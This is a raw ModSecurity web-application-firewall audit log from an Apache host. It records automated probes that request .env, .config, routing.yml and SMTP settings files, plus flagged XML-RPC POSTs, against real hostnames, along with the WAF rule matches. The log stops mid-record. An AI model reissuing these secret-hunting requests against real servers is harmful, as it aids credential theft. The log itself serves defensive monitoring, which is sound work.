/internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73db623c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6410560f5b7fe61feae8f4278cc641e1750018924; expires=Sun, 15 Jun 2025 21:22:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73db623c-H-- Message: Warning. Matched phrase "/config/routing.yml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/config/routing.yml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/symfony/apps/frontend/config/routing.yml"] [unique_id "aE8rbLSOi14Mt1Fv4_TCcAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018924170199 657386 (- - -) Stopwatch2: 1750018924170199 657386; combined=1889, p1=416, p2=1383, p3=0, p4=0, p5=90, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73db623c-Z-- --1e17c33f-A-- [16/Jun/2025:01:52:05.831221 +0530] aE8rbTZWrQ9Ly--lMo__KgAAAAE 185.177.72.210 42198 127.0.0.1 7081 --1e17c33f-B-- GET /:8880/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e17c33f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f9dc9a4b0efd933ddfd30c0e5fbc6a51750018925; expires=Sun, 15 Jun 2025 21:22:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e17c33f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/api/.env.local"] [unique_id "aE8rbTZWrQ9Ly--lMo__KgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018925176531 654762 (- - -) Stopwatch2: 1750018925176531 654762; combined=1823, p1=334, p2=1399, p3=0, p4=0, p5=89, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e17c33f-Z-- --b679cf70-A-- [16/Jun/2025:01:52:18.849294 +0530] aE8remBSQiWwwCa-v2T_SwAAAAQ 185.177.72.210 52782 127.0.0.1 7081 --b679cf70-B-- GET /Configs/authServerSettings.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b679cf70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a8347666f8b712717f3e1a789a1c4f541750018938; expires=Sun, 15 Jun 2025 21:22:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b679cf70-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Configs/authServerSettings.config"] [unique_id "aE8remBSQiWwwCa-v2T_SwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018938193930 655429 (- - -) Stopwatch2: 1750018938193930 655429; combined=1756, p1=320, p2=1350, p3=0, p4=0, p5=86, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b679cf70-Z-- --950c8e50-A-- [16/Jun/2025:01:52:35.246051 +0530] aE8rigmPiipnjM18nBT0TQAAAAs 185.177.72.210 45308 127.0.0.1 7081 --950c8e50-B-- GET /opencart/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --950c8e50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=71a3af417c332b91454c3c012d6cc5521750018955; expires=Sun, 15 Jun 2025 21:22:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --950c8e50-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/opencart/.env"] [unique_id "aE8rigmPiipnjM18nBT0TQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018954573235 672921 (- - -) Stopwatch2: 1750018954573235 672921; combined=2439, p1=491, p2=1823, p3=0, p4=0, p5=124, sr=136, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --950c8e50-Z-- --d99bbd1b-A-- [16/Jun/2025:01:52:39.984639 +0530] aE8rjwmPiipnjM18nBT0TwAAAAs 128.199.112.101 45474 127.0.0.1 7081 --d99bbd1b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d99bbd1b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d99bbd1b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8rjwmPiipnjM18nBT0TwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018959048216 936489 (- - -) Stopwatch2: 1750018959048216 936489; combined=2493, p1=392, p2=1558, p3=49, p4=133, p5=231, sr=102, sw=130, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d99bbd1b-Z-- --f0713102-A-- [16/Jun/2025:01:52:55.541406 +0530] aE8rnj3D4g1mGjVnV5KNAQAAAAY 185.177.72.210 42004 127.0.0.1 7081 --f0713102-B-- GET /docker-network-healthcheck/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f0713102-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=698ef3bc6c2fd294b97a938c47b5c7ef1750018975; expires=Sun, 15 Jun 2025 21:22:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f0713102-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker-network-healthcheck/.env"] [unique_id "aE8rnj3D4g1mGjVnV5KNAQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018974839467 702017 (- - -) Stopwatch2: 1750018974839467 702017; combined=2015, p1=379, p2=1474, p3=0, p4=0, p5=162, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0713102-Z-- --cc828539-A-- [16/Jun/2025:01:53:02.316550 +0530] aE8rpUaRoH9PZO5fwRnf5AAAAAw 185.177.72.210 57780 127.0.0.1 7081 --cc828539-B-- GET /:8000/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cc828539-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e689741ca012bb4bb18a47f519b7b0161750018982; expires=Sun, 15 Jun 2025 21:23:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cc828539-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/v2/.env"] [unique_id "aE8rpUaRoH9PZO5fwRnf5AAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018981627149 689465 (- - -) Stopwatch2: 1750018981627149 689465; combined=2079, p1=417, p2=1511, p3=0, p4=0, p5=150, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc828539-Z-- --0400c323-A-- [16/Jun/2025:01:53:03.333547 +0530] aE8rpmBSQiWwwCa-v2T_ZAAAAAQ 185.177.72.210 57812 127.0.0.1 7081 --0400c323-B-- GET /.env.%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0400c323-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d9a5d7c1404755cd7cb8d62f94cc4d7d1750018983; expires=Sun, 15 Jun 2025 21:23:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0400c323-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97"] [unique_id "aE8rpmBSQiWwwCa-v2T_ZAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018982656353 677257 (- - -) Stopwatch2: 1750018982656353 677257; combined=1458, p1=300, p2=1055, p3=0, p4=0, p5=102, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0400c323-Z-- --ef787900-A-- [16/Jun/2025:01:53:07.594014 +0530] aE8rqo4fGN8g7lyBTW_1UQAAAAM 185.177.72.210 57968 127.0.0.1 7081 --ef787900-B-- GET /resources/docker/mysql/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef787900-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82d1966baf4c118b55552ee9f160317b1750018987; expires=Sun, 15 Jun 2025 21:23:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef787900-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/resources/docker/mysql/.env"] [unique_id "aE8rqo4fGN8g7lyBTW_1UQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018986870930 723148 (- - -) Stopwatch2: 1750018986870930 723148; combined=2013, p1=391, p2=1524, p3=0, p4=0, p5=98, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef787900-Z-- --2dc09f39-A-- [16/Jun/2025:01:53:17.785565 +0530] aE8rtQmPiipnjM18nBT0YQAAAAs 185.177.72.210 36306 127.0.0.1 7081 --2dc09f39-B-- GET /plugin_static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2dc09f39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0f352f0ad760d7d9c3ae79b65edc22d51750018997; expires=Sun, 15 Jun 2025 21:23:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2dc09f39-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/plugin_static/.env"] [unique_id "aE8rtQmPiipnjM18nBT0YQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018997150185 635466 (- - -) Stopwatch2: 1750018997150185 635466; combined=2629, p1=539, p2=1972, p3=0, p4=0, p5=117, sr=136, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2dc09f39-Z-- --93135f31-A-- [16/Jun/2025:01:53:26.892557 +0530] aE8rvrSOi14Mt1Fv4_TCmwAAAAo 185.177.72.210 54052 127.0.0.1 7081 --93135f31-B-- GET /items/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --93135f31-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b1b5940fa22b4ae145ffef2928a7c071750019006; expires=Sun, 15 Jun 2025 21:23:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --93135f31-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/items/.env"] [unique_id "aE8rvrSOi14Mt1Fv4_TCmwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019006219650 672968 (- - -) Stopwatch2: 1750019006219650 672968; combined=1822, p1=371, p2=1324, p3=0, p4=0, p5=127, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --93135f31-Z-- --1c8ec675-A-- [16/Jun/2025:01:53:40.116792 +0530] aE8rywmPiipnjM18nBT0awAAAAs 128.199.112.101 60286 127.0.0.1 7081 --1c8ec675-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1c8ec675-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1c8ec675-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8rywmPiipnjM18nBT0awAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019019151780 965082 (- - -) Stopwatch2: 1750019019151780 965082; combined=2441, p1=499, p2=1492, p3=46, p4=88, p5=197, sr=123, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c8ec675-Z-- --0f0e0752-A-- [16/Jun/2025:01:54:28.275634 +0530] aE8r-0aRoH9PZO5fwRngCwAAAAw 185.177.72.210 59654 127.0.0.1 7081 --0f0e0752-B-- GET /smtp_settings.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0f0e0752-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e17833d1d02996744a4441498b5b31221750019068; expires=Sun, 15 Jun 2025 21:24:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0f0e0752-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/smtp_settings.conf"] [unique_id "aE8r-0aRoH9PZO5fwRngCwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019067623887 651811 (- - -) Stopwatch2: 1750019067623887 651811; combined=1884, p1=346, p2=1422, p3=0, p4=0, p5=116, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f0e0752-Z-- --0828be0f-A-- [16/Jun/2025:01:54:32.288769 +0530] aE8r_wmPiipnjM18nBT0hAAAAAs 185.177.72.210 35196 127.0.0.1 7081 --0828be0f-B-- GET /:8181/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0828be0f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=452287fefe65f16871a47f65ed30664f1750019072; expires=Sun, 15 Jun 2025 21:24:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0828be0f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id 